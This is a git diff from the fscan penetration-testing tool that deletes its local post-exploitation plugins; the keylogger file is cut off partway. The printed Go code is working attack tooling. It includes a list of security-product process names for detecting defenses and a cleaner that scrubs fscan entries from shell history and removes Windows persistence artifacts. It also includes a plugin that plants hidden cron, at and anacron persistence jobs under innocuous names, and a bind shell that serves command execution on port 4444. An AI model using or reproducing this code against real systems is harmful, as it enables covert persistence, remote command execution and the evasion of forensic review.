}, - "阿里云云助手守护进程": { - "processes": [ - "/assist-daemon/assist_daemon" - ], - "url": "" - }, - "zabbix agen端": { - "processes": [ - "zabbix_agentd" - ], - "url": "" - }, - "阿里云盾升级": { - "processes": [ - "/usr/local/aegis/aegis_update/AliYunDunUpdate" - ], - "url": "" - }, - "阿里云助手": { - "processes": [ - "/usr/local/share/aliyun-assist" - ], - "url": "" - }, - "阿里系监控": { - "processes": [ - "AliHips", - "AliNet", - "AliDetect", - "AliScriptEngine" - ], - "url": "" - }, - "腾讯系监控": { - "processes": [ - "secu-tcs-agent", - "/usr/local/qcloud/stargate/", - "/usr/local/qcloud/monitor/", - "/usr/local/qcloud/YunJing/" - ], - "url": "" - }, - "腾讯自动化助手TAT产品": { - "processes": [ - "/usr/local/qcloud/tat_agent/" - ], - "url": "" - }, - "SentinelOne(哨兵一号)": { - "processes": [ - "SentinelServiceHost.exe", - "SentinelStaticEngine.exe", - "SentinelStaticEngineScanner.exe", - "SentinelMemoryScanner.exe", - "SentinelAgent.exe", - "SentinelAgentWorker.exe", - "SentinelUI.exe" - ], - "url": "https://www.sentinelone.com/" - }, - "OneSec(微步)": { - "processes": [ - "tbAgent.exe", - "tbAgentSrv.exe", - "tbGuard.exe" - ], - "url": "https://threatbook.cn/onesec" - }, - "亚信安全防毒墙网络版": { - "processes": [ - "PccNT.exe", - "PccNTMon.exe", - "PccNTUpd.exe" - ], - "url": "https://asiainfo-sec.com/product/detail-122.html" - }, - "Illumio ZTS": { - "processes": [ - "venVtapServer.exe", - "venPlatformHandler.exe", - "venAgentMonitor.exe", - "venAgentMgr.exe" - ], - "url": "https://www.illumio.com/" - }, - "奇安信统一服务器安全": { - "processes": [ - "NuboshEndpoint.exe" - ], - "url": "https://www.qianxin.com/product/detail/pid/394" - }, - "IObit Malware Fighter": { - "processes": [ - "IMF.exe", - "IMFCore.exe", - "IMFsrv.exe", - "IMFSrvWsc.exe" - ], - "url":"https://www.iobit.com/en/malware-fighter.php" - } -} diff --git a/plugins/local/cleaner.go b/plugins/local/cleaner.go deleted file mode 100644 index 5fd9f883..00000000 --- a/plugins/local/cleaner.go +++ /dev/null @@ -1,125 +0,0 @@ -//go:build (plugin_cleaner || !plugin_selective) && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type CleanerPlugin struct { - plugins.BasePlugin -} - -func NewCleanerPlugin() *CleanerPlugin { - return &CleanerPlugin{BasePlugin: plugins.NewBasePlugin("cleaner")} -} - -func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - var output strings.Builder - var cleaned int - - // 清理 fscan 产物文件 - workDir, _ := os.Getwd() - cleaned += p.cleanFiles(&output, workDir, []string{ - "result.txt", "result.json", "result.csv", - "fscan_debug.log", - }) - cleaned += p.cleanGlob(&output, os.TempDir(), "fscan_*") - - // 清理持久化痕迹(平台特定) - cleaned += cleanPersistence(&output) - - // 平台通用文件清理 - switch runtime.GOOS { - case "linux", "darwin": - cleaned += p.cleanUnix(&output) - } - - session.LogSuccess(i18n.Tr("cleaner_success", cleaned, 0)) - - return &plugins.Result{ - Success: cleaned > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func (p *CleanerPlugin) cleanFiles(output *strings.Builder, dir string, names []string) int { - cleaned := 0 - for _, name := range names { - path := filepath.Join(dir, name) - if err := os.Remove(path); err == nil { - fmt.Fprintln(output, i18n.Tr("cleaner_removed", path)) - cleaned++ - } - } - return cleaned -} - -func (p *CleanerPlugin) cleanGlob(output *strings.Builder, dir, pattern string) int { - matches, _ := filepath.Glob(filepath.Join(dir, pattern)) - cleaned := 0 - for _, f := range matches { - if err := os.Remove(f); err == nil { - fmt.Fprintln(output, i18n.Tr("cleaner_removed", f)) - cleaned++ - } - } - return cleaned -} - -func (p *CleanerPlugin) cleanUnix(output *strings.Builder) int { - cleaned := 0 - homeDir, _ := os.UserHomeDir() - - histFiles := []string{ - filepath.Join(homeDir, ".bash_history"), - filepath.Join(homeDir, ".zsh_history"), - } - for _, hf := range histFiles { - if p.scrubHistory(hf) { - fmt.Fprintln(output, i18n.Tr("cleaner_history_removed", hf)) - cleaned++ - } - } - - cleaned += p.cleanGlob(output, "/tmp", "fscan_*") - cleaned += p.cleanGlob(output, "/tmp", ".fscan*") - return cleaned -} - -func (p *CleanerPlugin) scrubHistory(path string) bool { - data, err := os.ReadFile(path) - if err != nil { - return false - } - lines := strings.Split(string(data), "\n") - var kept []string - removed := false - for _, line := range lines { - if strings.Contains(strings.ToLower(line), "fscan") { - removed = true - continue - } - kept = append(kept, line) - } - if !removed { - return false - } - return os.WriteFile(path, []byte(strings.Join(kept, "\n")), 0600) == nil -} - -func init() { - RegisterLocalPlugin("cleaner", func() Plugin { - return NewCleanerPlugin() - }) -} diff --git a/plugins/local/cleaner_other.go b/plugins/local/cleaner_other.go deleted file mode 100644 index d7d39867..00000000 --- a/plugins/local/cleaner_other.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build (plugin_cleaner || !plugin_selective) && !windows && !no_local - -package local - -import "strings" - -func cleanPersistence(output *strings.Builder) int { - return 0 -} diff --git a/plugins/local/cleaner_windows.go b/plugins/local/cleaner_windows.go deleted file mode 100644 index 9317059b..00000000 --- a/plugins/local/cleaner_windows.go +++ /dev/null @@ -1,244 +0,0 @@ -//go:build (plugin_cleaner || !plugin_selective) && windows && !no_local - -package local - -import ( - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common/i18n" -) - -func cleanPersistence(output *strings.Builder) int { - cleaned := 0 - - // 1. 清理 Winlogon 劫持——恢复默认值 - cleaned += fixWinlogon(output) - - // 2. 清理 IFEO 映像劫持 - cleaned += cleanIFEO(output) - - // 3. 清理注册表 Run 键 - cleaned += cleanRegistryRun(output) - - // 4. 清理计划任务 - cleaned += cleanScheduledTasks(output) - - // 5. 清理服务 - cleaned += cleanServices(output) - - // 6. 清理启动文件夹 - cleaned += cleanStartupFolders(output) - - // 7. 清理 BITS 任务 - cleaned += cleanBITS(output) - - // 8. 清理 WMI 事件订阅 - cleaned += cleanWMI(output) - - // 9. 清理 Prefetch - cleaned += cleanPrefetch(output) - - return cleaned -} - -func fixWinlogon(output *strings.Builder) int { - cleaned := 0 - key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` - - // 检查 Shell 是否被篡改 - if out, err := exec.Command("reg", "query", key, "/v", "Shell").CombinedOutput(); err == nil { - val := extractRegValue(string(out)) - if val != "explorer.exe" && val != "" { - exec.Command("reg", "add", key, "/v", "Shell", "/t", "REG_SZ", "/d", "explorer.exe", "/f").Run() - output.WriteString(i18n.Tr("cleaner_restore_winlogon_shell", val, "explorer.exe") + "\n") - cleaned++ - } - } - - // 检查 Userinit 是否被篡改 - if out, err := exec.Command("reg", "query", key, "/v", "Userinit").CombinedOutput(); err == nil { - val := extractRegValue(string(out)) - defaultVal := `C:\Windows\system32\userinit.exe,` - if val != defaultVal && val != strings.TrimSuffix(defaultVal, ",") && val != "" { - exec.Command("reg", "add", key, "/v", "Userinit", "/t", "REG_SZ", "/d", defaultVal, "/f").Run() - output.WriteString(i18n.Tr("cleaner_restore_winlogon_userinit", val, defaultVal) + "\n") - cleaned++ - } - } - return cleaned -} - -func cleanIFEO(output *strings.Builder) int { - cleaned := 0 - targets := []string{"sethc.exe", "utilman.exe", "narrator.exe"} - for _, t := range targets { - key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t) - if out, err := exec.Command("reg", "query", key, "/v", "Debugger").CombinedOutput(); err == nil && strings.Contains(string(out), "Debugger") { - exec.Command("reg", "delete", key, "/f").Run() - output.WriteString(i18n.Tr("cleaner_ifeo_removed", t) + "\n") - cleaned++ - } - } - return cleaned -} - -func cleanRegistryRun(output *strings.Builder) int { - cleaned := 0 - keys := []string{ - `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, - `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, - `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, - } - markers := []string{"fscan", "test_payload", "WindowsUpdate_", "SystemUpdate_", "SetupComplete_"} - - for _, key := range keys { - out, err := exec.Command("reg", "query", key).CombinedOutput() - if err != nil { - continue - } - for _, line := range strings.Split(string(out), "\n") { - for _, m := range markers { - if strings.Contains(line, m) { - fields := strings.Fields(strings.TrimSpace(line)) - if len(fields) > 0 { - exec.Command("reg", "delete", key, "/v", fields[0], "/f").Run() - output.WriteString(i18n.Tr("cleaner_registry_removed", key, fields[0]) + "\n") - cleaned++ - } - break - } - } - } - } - return cleaned -} - -func cleanScheduledTasks(output *strings.Builder) int { - cleaned := 0 - markers := []string{"WindowsUpdateCheck_", "SystemSecurityScan_", "MaintenanceTask_", "BackgroundService_"} - out, err := exec.Command("schtasks", "/query", "/fo", "csv", "/nh").CombinedOutput() - if err != nil { - return 0 - } - for _, line := range strings.Split(string(out), "\n") { - for _, m := range markers { - if strings.Contains(line, m) { - parts := strings.Split(line, ",") - if len(parts) > 0 { - name := strings.Trim(parts[0], "\"\\") - exec.Command("schtasks", "/delete", "/tn", name, "/f").Run() - output.WriteString(i18n.Tr("cleaner_schtask_removed", name) + "\n") - cleaned++ - } - break - } - } - } - return cleaned -} - -func cleanServices(output *strings.Builder) int { - cleaned := 0 - markers := []string{"WinDefendUpdate_", "SysHealthMon_"} - for _, m := range markers { - out, err := exec.Command("sc", "query", "state=", "all").CombinedOutput() - if err != nil { - break - } - for _, line := range strings.Split(string(out), "\n") { - if strings.Contains(line, "SERVICE_NAME") && strings.Contains(line, m) { - name := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "SERVICE_NAME:")) - exec.Command("sc", "stop", name).Run() - exec.Command("sc", "delete", name).Run() - output.WriteString(i18n.Tr("cleaner_service_removed", name) + "\n") - cleaned++ - } - } - } - return cleaned -} - -func cleanStartupFolders(output *strings.Builder) int { - cleaned := 0 - dirs := []string{ - filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), - filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), - } - for _, dir := range dirs { - matches, _ := filepath.Glob(filepath.Join(dir, "test_payload*")) - for _, f := range matches { - if os.Remove(f) == nil { - output.WriteString(i18n.Tr("cleaner_startup_removed", f) + "\n") - cleaned++ - } - } - } - return cleaned -} - -func cleanBITS(output *strings.Builder) int { - cleaned := 0 - out, err := exec.Command("bitsadmin", "/list", "/allusers").CombinedOutput() - if err != nil { - return 0 - } - for _, line := range strings.Split(string(out), "\n") { - if strings.Contains(line, "WindowsUpdate_") || strings.Contains(line, "fscan") { - // 提取 GUID - if idx := strings.Index(line, "{"); idx != -1 { - if end := strings.Index(line[idx:], "}"); end != -1 { - guid := line[idx : idx+end+1] - exec.Command("bitsadmin", "/cancel", guid).Run() - output.WriteString(i18n.Tr("cleaner_bits_removed", guid) + "\n") - cleaned++ - } - } - } - } - return cleaned -} - -func cleanWMI(output *strings.Builder) int { - cleaned := 0 - ps := ` -Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Consumer -match 'SysExec_' -or $_.Consumer -match 'fscan' } | Remove-WmiObject -Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -match 'SysExec_' -or $_.Name -match 'fscan' } | Remove-WmiObject -Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -match 'SysMon_' -or $_.Name -match 'fscan' } | Remove-WmiObject -Write-Output 'WMI_CLEANED' -` - out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() - if err == nil && strings.Contains(string(out), "WMI_CLEANED") { - output.WriteString(i18n.GetText("cleaner_wmi_removed") + "\n") - cleaned++ - } - return cleaned -} - -func cleanPrefetch(output *strings.Builder) int { - cleaned := 0 - matches, _ := filepath.Glob(`C:\Windows\Prefetch\FSCAN*.pf`) - for _, f := range matches { - if os.Remove(f) == nil { - output.WriteString(i18n.Tr("cleaner_prefetch_removed", f) + "\n") - cleaned++ - } - } - return cleaned -} - -func extractRegValue(output string) string { - for _, line := range strings.Split(output, "\n") { - line = strings.TrimSpace(line) - if strings.Contains(line, "REG_SZ") { - parts := strings.SplitN(line, "REG_SZ", 2) - if len(parts) == 2 { - return strings.TrimSpace(parts[1]) - } - } - } - return "" -} diff --git a/plugins/local/crontask.go b/plugins/local/crontask.go deleted file mode 100644 index 85001f25..00000000 --- a/plugins/local/crontask.go +++ /dev/null @@ -1,341 +0,0 @@ -//go:build (plugin_crontask || !plugin_selective) && linux && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "os/user" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// CronTaskPlugin 定时任务插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现持久化功能 -// - 保持原有功能逻辑 -type CronTaskPlugin struct { - plugins.BasePlugin - targetFile string -} - -// NewCronTaskPlugin 创建计划任务持久化插件 -func NewCronTaskPlugin() *CronTaskPlugin { - return &CronTaskPlugin{ - BasePlugin: plugins.NewBasePlugin("crontask"), - } -} - -// Scan 执行计划任务持久化 - 直接实现 -func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - if runtime.GOOS != "linux" { - return &plugins.Result{ - Success: false, - Output: i18n.GetText("crontask_linux_only"), - Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), - } - } - - // 从config获取配置 - p.targetFile = config.PersistenceTargetFile - if p.targetFile == "" { - return &plugins.Result{ - Success: false, - Output: i18n.GetText("persistence_file_required"), - Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), - } - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { - return &plugins.Result{ - Success: false, - Output: i18n.Tr("target_file_not_exist", p.targetFile), - Error: err, - } - } - - // 检查crontab是否可用 - if _, err := exec.LookPath("crontab"); err != nil { - return &plugins.Result{ - Success: false, - Output: i18n.GetText("crontab_unavailable"), - Error: err, - } - } - - output.WriteString(i18n.GetText("crontask_header") + "\n") - output.WriteString(i18n.Tr("local_target_file", p.targetFile) + "\n\n") - - var successCount int - - // 1. 复制文件到持久化目录 - persistPath, err := p.copyToPersistPath() - if err != nil { - output.WriteString(i18n.Tr("copy_file_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("file_copied_to", persistPath) + "\n") - successCount++ - } - - // 2. 添加用户crontab任务 - err = p.addUserCronJob(persistPath) - if err != nil { - output.WriteString(i18n.Tr("crontask_user_add_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("crontask_user_added") + "\n") - successCount++ - } - - // 3. 添加系统cron任务 - systemCronFiles, err := p.addSystemCronJobs(persistPath) - if err != nil { - output.WriteString(i18n.Tr("crontask_system_add_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("crontask_system_added", strings.Join(systemCronFiles, ", ")) + "\n") - successCount++ - } - - // 4. 创建at任务 - err = p.addAtJob(persistPath) - if err != nil { - output.WriteString(i18n.Tr("crontask_at_add_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("crontask_at_added") + "\n") - successCount++ - } - - // 5. 创建anacron任务 - err = p.addAnacronJob(persistPath) - if err != nil { - output.WriteString(i18n.Tr("crontask_anacron_add_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("crontask_anacron_added") + "\n") - successCount++ - } - - // 输出统计 - output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n") - - if successCount > 0 { - session.LogSuccess(i18n.Tr("crontask_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Output: output.String(), - Error: nil, - } -} - -// copyToPersistPath 复制文件到持久化目录 -func (p *CronTaskPlugin) copyToPersistPath() (string, error) { - // 选择持久化目录 - persistDirs := []string{ - "/tmp/.system", - "/var/tmp/.cache", - "/opt/.local", - } - - // 获取用户目录 - if usr, err := user.Current(); err == nil { - userDirs := []string{ - filepath.Join(usr.HomeDir, ".local", "bin"), - filepath.Join(usr.HomeDir, ".cache"), - } - persistDirs = append(userDirs, persistDirs...) - } - - var targetDir string - for _, dir := range persistDirs { - if err := os.MkdirAll(dir, 0755); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("%s", i18n.GetText("persistence_dir_create_failed")) - } - - // 生成隐藏文件名 - basename := filepath.Base(p.targetFile) - hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename)) - if p.isScriptFile() { - hiddenName += ".sh" - } - - targetPath := filepath.Join(targetDir, hiddenName) - - // 复制文件 - err := p.copyFile(p.targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置执行权限 - _ = os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件内容 -func (p *CronTaskPlugin) copyFile(src, dst string) error { - sourceData, err := os.ReadFile(src) - if err != nil { - return err - } - return os.WriteFile(dst, sourceData, 0755) -} - -// addUserCronJob 添加用户crontab任务 -func (p *CronTaskPlugin) addUserCronJob(execPath string) error { - // 获取现有crontab - cmd := exec.Command("crontab", "-l") - currentCrontab, _ := cmd.Output() - - // 生成新的cron任务 - cronJobs := p.generateCronJobs(execPath) - newCrontab := string(currentCrontab) - - for _, job := range cronJobs { - if !strings.Contains(newCrontab, execPath) { - if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") { - newCrontab += "\n" - } - newCrontab += job + "\n" - } - } - - // 应用新的crontab - cmd = exec.Command("crontab", "-") - cmd.Stdin = strings.NewReader(newCrontab) - return cmd.Run() -} - -// addSystemCronJobs 添加系统cron任务 -func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) { - cronDirs := []string{ - "/etc/cron.d", - "/etc/cron.hourly", - "/etc/cron.daily", - "/etc/cron.weekly", - "/etc/cron.monthly", - } - - var modified []string - - // 在cron.d中创建配置文件 - cronFile := filepath.Join("/etc/cron.d", "system-update") - cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath) - if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil { - modified = append(modified, cronFile) - } - - // 在每个cron目录中创建脚本 - for _, cronDir := range cronDirs[1:] { // 跳过cron.d - if _, err := os.Stat(cronDir); os.IsNotExist(err) { - continue - } - - scriptFile := filepath.Join(cronDir, ".system-check") - scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath) - - if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil { - modified = append(modified, scriptFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("%s", i18n.GetText("crontask_system_create_none")) - } - - return modified, nil -} - -// addAtJob 添加at延时任务 -func (p *CronTaskPlugin) addAtJob(execPath string) error { - // 检查at命令是否可用 - if _, err := exec.LookPath("at"); err != nil { - return err - } - - // 创建5分钟后执行的任务 - atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath) - cmd := exec.Command("sh", "-c", atCommand) - return cmd.Run() -} - -// addAnacronJob 添加anacron任务 -func (p *CronTaskPlugin) addAnacronJob(execPath string) error { - anacronFile := "/etc/anacrontab" - - // 检查anacrontab是否存在 - if _, err := os.Stat(anacronFile); os.IsNotExist(err) { - return err - } - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(anacronFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - if strings.Contains(content, execPath) { - return nil - } - - // 添加新任务 - anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath) - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += anacronLine + "\n" - - return os.WriteFile(anacronFile, []byte(content), 0644) -} - -// generateCronJobs 生成多种cron任务 -func (p *CronTaskPlugin) generateCronJobs(execPath string) []string { - baseCmd := execPath - if p.isScriptFile() { - baseCmd = fmt.Sprintf("bash %s", execPath) - } - baseCmd += " >/dev/null 2>&1" - - return []string{ - // 每5分钟执行一次 - fmt.Sprintf("*/5 * * * * %s", baseCmd), - // 每小时执行一次 - fmt.Sprintf("0 * * * * %s", baseCmd), - // 每天执行一次 - fmt.Sprintf("0 0 * * * %s", baseCmd), - // 启动时执行 - fmt.Sprintf("@reboot %s", baseCmd), - } -} - -// isScriptFile 检查是否为脚本文件 -func (p *CronTaskPlugin) isScriptFile() bool { - ext := strings.ToLower(filepath.Ext(p.targetFile)) - return ext == ".sh" || ext == ".bash" || ext == ".zsh" -} - -// 注册插件 -func init() { - RegisterLocalPlugin("crontask", func() Plugin { - return NewCronTaskPlugin() - }) -} diff --git a/plugins/local/forwardshell.go b/plugins/local/forwardshell.go deleted file mode 100644 index 2690ff99..00000000 --- a/plugins/local/forwardshell.go +++ /dev/null @@ -1,235 +0,0 @@ -//go:build (plugin_forwardshell || !plugin_selective) && !no_local - -package local - -import ( - "bufio" - "context" - "errors" - "fmt" - "net" - "os" - "os/exec" - "runtime" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// ForwardShellPlugin 正向Shell插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现Shell服务功能 -// - 保持原有功能逻辑 -type ForwardShellPlugin struct { - plugins.BasePlugin - listener net.Listener -} - -// NewForwardShellPlugin 创建正向Shell插件 -func NewForwardShellPlugin() *ForwardShellPlugin { - return &ForwardShellPlugin{ - BasePlugin: plugins.NewBasePlugin("forwardshell"), - } -} - -// Scan 执行正向Shell服务 - 直接实现 -func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - state := session.State - var output strings.Builder - - // 从config获取配置 - port := config.LocalExploit.ForwardShellPort - if port <= 0 { - port = 4444 - } - - output.WriteString(i18n.GetText("forwardshell_header") + "\n") - output.WriteString(i18n.Tr("local_listen_port", port) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - // 启动正向Shell服务器 - err := p.startForwardShellServer(ctx, port, state, session) - if err != nil { - output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(i18n.GetText("forwardshell_done") + "\n") - session.LogSuccess(i18n.Tr("forwardshell_complete", port)) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// startForwardShellServer 启动正向Shell服务器 -func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State, session *common.ScanSession) error { - // 监听指定端口 - listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err) - } - defer func() { _ = listener.Close() }() - - p.listener = listener - session.LogSuccess(i18n.Tr("forwardshell_started", port)) - - // 设置正向Shell为活跃状态 - state.SetForwardShellActive(true) - defer func() { - state.SetForwardShellActive(false) - }() - - // 主循环处理连接 - for { - select { - case <-ctx.Done(): - return ctx.Err() - default: - } - - // 设置监听器超时 - if tcpListener, ok := listener.(*net.TCPListener); ok { - _ = tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) - } - - conn, err := listener.Accept() - if err != nil { - var netErr net.Error - if errors.As(err, &netErr) && netErr.Timeout() { - continue - } - session.LogError(i18n.Tr("forwardshell_accept_failed", err)) - continue - } - - session.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String())) - go p.handleClient(ctx, conn, session) - } -} - -// handleClient 处理客户端连接 -func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) { - defer func() { _ = clientConn.Close() }() - - // ctx 取消时关闭连接,解除阻塞的读操作 - go func() { - <-ctx.Done() - _ = clientConn.Close() - }() - - // 发送欢迎信息 - welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS) - _, _ = clientConn.Write([]byte(welcome)) - - // 创建命令处理器 - scanner := bufio.NewScanner(clientConn) - - for scanner.Scan() { - command := strings.TrimSpace(scanner.Text()) - - if command == "" { - continue - } - - if command == "exit" { - _, _ = clientConn.Write([]byte("Goodbye!\n")) - break - } - - // 执行命令并返回结果 - p.executeCommand(clientConn, command) - } - - if err := scanner.Err(); err != nil && ctx.Err() == nil { - session.LogError(i18n.Tr("forwardshell_read_failed", err)) - } -} - -// executeCommand 执行命令并返回结果 -func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { - var cmd *exec.Cmd - - // 根据平台创建命令 - switch runtime.GOOS { - case "windows": - cmd = exec.Command("cmd", "/c", command) - case "linux", "darwin": - cmd = exec.Command("/bin/sh", "-c", command) - default: - _, _ = fmt.Fprintln(conn, i18n.Tr("unsupported_platform", runtime.GOOS)) - return - } - - // 设置命令超时 - ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) - defer cancel() - cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...) - - // 执行命令并获取输出 - output, err := cmd.CombinedOutput() - - if ctx.Err() == context.DeadlineExceeded { - _, _ = conn.Write([]byte(i18n.GetText("command_timeout") + "\n")) - return - } - - if err != nil { - _, _ = fmt.Fprintln(conn, i18n.Tr("command_exec_failed", err)) - return - } - - // 发送命令输出 - if len(output) == 0 { - _, _ = conn.Write([]byte(i18n.GetText("command_success_no_output") + "\n")) - } else { - _, _ = conn.Write(output) - if !strings.HasSuffix(string(output), "\n") { - _, _ = conn.Write([]byte("\n")) - } - } - - // 发送命令提示符 - prompt := p.getPrompt() - _, _ = conn.Write([]byte(prompt)) -} - -// getPrompt 获取平台特定的命令提示符 -func (p *ForwardShellPlugin) getPrompt() string { - hostname, _ := os.Hostname() - username := os.Getenv("USER") - if username == "" { - username = os.Getenv("USERNAME") // Windows - } - if username == "" { - username = "user" - } - - switch runtime.GOOS { - case "windows": - return fmt.Sprintf("%s@%s> ", username, hostname) - case "linux", "darwin": - return fmt.Sprintf("%s@%s$ ", username, hostname) - default: - return fmt.Sprintf("%s@%s# ", username, hostname) - } -} - -// 注册插件 -func init() { - RegisterLocalPlugin("forwardshell", func() Plugin { - return NewForwardShellPlugin() - }) -} diff --git a/plugins/local/keylogger.go b/plugins/local/keylogger.go deleted file mode 100644 index df3f32f7..00000000 --- a/plugins/local/keylogger.go +++ /dev/null @@ -1,268 +0,0 @@ -//go:build (plugin_keylogger || !plugin_selective) && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "runtime" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// KeyloggerPlugin 键盘记录插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现键盘记录功能 -// - 保持原有功能逻辑 -type KeyloggerPlugin struct { - plugins.BasePlugin - keyBuffer []string - bufferMutex sync.RWMutex -} - -// NewKeyloggerPlugin 创建键盘记录插件 -func NewKeyloggerPlugin() *KeyloggerPlugin { - return &KeyloggerPlugin{ - BasePlugin: plugins.NewBasePlugin("keylogger"), - keyBuffer: make([]string, 0), - } -} - -// Scan 执行键盘记录 - 直接实现 -func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - // 从config获取配置 - outputFile := config.LocalExploit.KeyloggerOutputFile - if outputFile == "" { - outputFile = "keylog.txt" - } - - output.WriteString(i18n.GetText("keylogger_header") + "\n") - output.WriteString(i18n.Tr("local_output_file", outputFile) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - // 检查输出文件权限 - if err := p.checkOutputFilePermissions(outputFile); err != nil { - output.WriteString(i18n.Tr("keylogger_output_permission_failed", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 检查平台要求 - if err := p.checkPlatformRequirements(); err != nil { - output.WriteString(i18n.Tr("platform_requirement_failed", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 启动键盘记录 - err := p.startKeylogging(ctx, outputFile, session) - if err != nil { - output.WriteString(i18n.Tr("keylogger_failed", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 输出结果 - output.WriteString(i18n.GetText("keylogger_done") + "\n") - output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n") - output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n") - - session.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer))) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// startKeylogging 启动键盘记录 -func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string, session *common.ScanSession) error { - - // 根据平台启动相应的键盘记录 - var err error - switch runtime.GOOS { - case "windows": - err = p.startWindowsKeylogging(ctx) - case "linux": - err = p.startLinuxKeylogging(ctx) - case "darwin": - err = p.startDarwinKeylogging(ctx) - default: - err = fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)) - } - - if err != nil { - return 